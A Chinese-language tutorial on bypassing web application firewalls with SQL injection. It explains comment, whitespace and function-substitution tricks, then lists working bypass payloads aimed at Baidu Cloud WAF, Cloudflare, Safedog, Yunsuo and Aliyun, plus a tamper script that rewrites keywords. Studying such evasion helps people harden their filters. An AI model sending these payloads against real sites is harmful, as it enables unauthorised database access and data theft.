WAF绕过之SQL注入(归来)
字数 2628 2025-08-20 18:18:05
WAF绕过之SQL注入技术详解
1. WAF概述与分类
WAF(Web Application Firewall)即Web应用防火墙,主要分为三大类:
- 硬件类WAF:如绿盟、天融信、安恒的硬件WAF
- 软件类WAF:如安全狗、云锁、ModSecurity等
- 基于云的WAF:如阿里云、创宇盾等
2. SQL注入绕过基础技巧
2.1 注释符利用
不同数据库支持的注释符:
| 数据库 | 注释符 |
|---|---|
| MySQL | /* */、#、/*! */、/*!50000xx*/、-- |
| Oracle | --0a- |
| MSSQL | --0a- |
2.2 空白字符利用
各数据库支持的空白字符:
| 数据库 | 空白字符 |
|---|---|
| MySQL | %09、%0A、%0B、%0C、%0D、%20 |
| Oracle | %00、%09、%0A、%0B、%0C、%0D、%20 |
| MSSQL | %00-%20 |
2.3 特殊字符连接
在SQL关键字前后可连接的特殊字符:
+号-号@号!号'号"号~号{号
可结合注释符和空白字符使用。
3. 等价替换技术
3.1 函数替换
字符串截取函数替代方案:
mid(string,1,1)可替换为:substr(user() from 1 for 1)replace(LPAD(user(),2,1),LPAD(user(),2-1,1),"")LPAD(REVERSE(TRIM(lpad(user(),1,SPACE(1)))),1,SPACE(1))
ASCII码函数替代:
ascii(c)、ord(c)可替换为conv(hex(c),16,10)
3.2 逗号过滤绕过
union select 1,2,3可替换为:union select * from (select 1)a join (select 2)b join (select 3)c
limit 2,1可替换为limit 1 offset 2
3.3 比较表达式替代
=可替换为:if(abs(strcmp((ascii(mid(user()from(1)for(2)))),114))-1,1,0)find_in_set()regexp
<、>可替换为:least(ord('r'),115)greatest(ord('r'),113)between n and m
4. WAF绕过核心策略
4.1 目标分解
- 主要目标:绕过
SELECT col FROM table语句拦截 - 次要目标:绕过
UNION SELECT语句拦截
4.2 注入语句结构分析
SQL注入payload可分为两部分:
- BOUNDARY:利用语句部分(如报错注入中的
updatexml函数) - QUERY:基本查询部分(如
select concat(0x7e,user,0x7e) from mysql.user limit 1)
4.3 测试方法论
- 控制变量法:分别测试BOUNDARY和QUERY部分
- 白盒审计:对于软件类WAF(如安全狗、云锁),可逆向获取规则
- 黑盒测试:对于硬件和云WAF,采用黑盒测试方法
4.4 关键字填充策略
在SQL关键字前后设置FUZZ位置:
- 本地FUZZ测试出能正常执行的语句
- 提交到目标站点测试
- 结合注释、空白字符、括号等特性绕过
- 使用增删法确定触发拦截的字符或结构
- 寻找白字符进行替换
5. 实战案例:百度云WAF绕过
5.1 UNION SELECT绕过
id=1 xor xx union select xx→ 拦截id=1 xor xx union xx select xx→ 不拦截id=1 xor union(select→ 不拦截id=1 xor union(select)→ 拦截id=1 xor union dd (select)→ 不拦截
5.2 SELECT FROM绕过
id=1 xor s( select xx from xx)→ 拦截id=1 xor s( select xx from b xx)→ 不拦截id=1 xor s( select @a from xx)→ 拦截id=1 xor s( select @as from xx)→ 不拦截
5.3 最终绕过payload
https://su.baidu.com/plan.html?id=1xor union dd(select@ \Nfrom xx)
6. 各WAF绕过payload示例
6.1 CloudFlare绕过
MSSQL UNION SELECT绕过:
UNION/*!0SELECT*/1,2,3--
MYSQL报错注入绕过:
AND updatexml(1,concat(0x7e,(/*!0SELECT*/user()),0x7e),1)
6.2 安全狗绕过
/*!0union*//*!0select*/1,2,3--
6.3 云锁绕过
id=1 AND{`(if(1,extractvalue(1,concat(0x7e,(select/**/user()),0x7e)),1))`}
6.4 阿里云绕过
AND{`(extractvalue(1,concat(0x7e,(select{`a`}from{`mysql.user`}),0x7e)))`}
7. 自动化利用工具
推荐使用Python编写的SQL注入漏洞利用工具,特点:
- 参数使用方法与SQLMAP类似
- 每种利用方法单独编写一个类
- PAYLOAD由BOUNDARY和QUERY两部分组成
- 支持tamper脚本对boundary和query单独处理
Tamper样例:
def tamper(payload, **kwargs):
"""
安全狗绕过tamper示例
"""
payload = payload.replace("UNION", "/*!0UNION*/")
payload = payload.replace("SELECT", "/*!0SELECT*/")
payload = payload.replace("FROM", "/*!0FROM*/")
return payload
8. 总结与思考
- WAF绕过需要深入研究SQL语法特性和WAF规则
- 结合注释、空白字符、特殊字符等多种技巧
- 掌握等价替换和函数替代方法
- 采用控制变量法和增删法进行精准测试
- 对于软件类WAF,逆向分析可大幅提高绕过效率
- 自动化工具可提高漏洞利用效率
通过系统性地掌握这些技术和方法,可以有效绕过各类WAF对SQL注入的防护,但请注意这些技术仅应用于合法授权的安全测试。